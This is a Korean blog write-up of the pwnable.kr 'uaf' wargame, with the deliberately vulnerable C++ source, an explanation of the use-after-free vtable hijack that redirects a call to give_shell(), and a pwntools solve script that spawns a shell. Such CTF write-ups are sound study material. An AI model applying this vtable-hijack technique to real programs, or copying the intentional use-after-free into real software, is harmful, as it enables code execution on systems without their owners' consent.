1. Reversing

 

 

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

 

2. Exploit

 

 바이너리를 분석해보면 알겠지만 class에 해당되는 바이너리에 박혀있는 vtable을 heap으로 할당되있는 것을 참조해 접근 하는 것을 볼 수 있었다. (정확히 뭔지는 모름..)

 

 해당 vtable의 사이즈가 각각 0x20이기 때문에 vtable의 값을 8byte만 빼주면 Man::introduce()이나

 

 Woman::introduce()가 아닌 Human::give_shell()이 호출 되기 때문에

 

 data file을 해당 값에 8byte만 빼준 값으로 넣어주면 된다.

 

 순서대로 3 -> 2 -> 2-> 1로 실행해준다면 되겠다.

 

3. slv.py

 

from pwn import *

context.terminal = ['/goorm/tmux', 'splitw', '-h']
script='''
b* 0x0000000000401041
b* 0x0000000000401053
'''

Overwrite_Addr = 0x401570-0x8
data = ''

f = open('./data', 'w')

data += p64(Overwrite_Addr)
data += p64(0xdeadbeef)
f.write(data)
f.close()

argvs = [str(i) for i in range(4)]

argvs[2] = './data'
argvs[1] = str(len(data))


p = process(executable = './uaf', argv=argvs)

gdb.attach(p, script)
p.recv()
p.sendline('3')
p.recv()

p.sendline('2')
p.recv()


p.sendline('2')
p.recv()
p.sendline('1')

p.interactive()

 

[깨달은 점]

 

 1. C++에서 사용되는 vtable과 관련된 것도 heap으로 할당해서 사용한다는 것

'System > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] - leg - 190711  (0) 2019.07.11
[Pwnable.kr] - input - 190704  (0) 2019.07.04
[Pwnable.kr] - fix - 190622  (0) 2019.06.22

+ Recent posts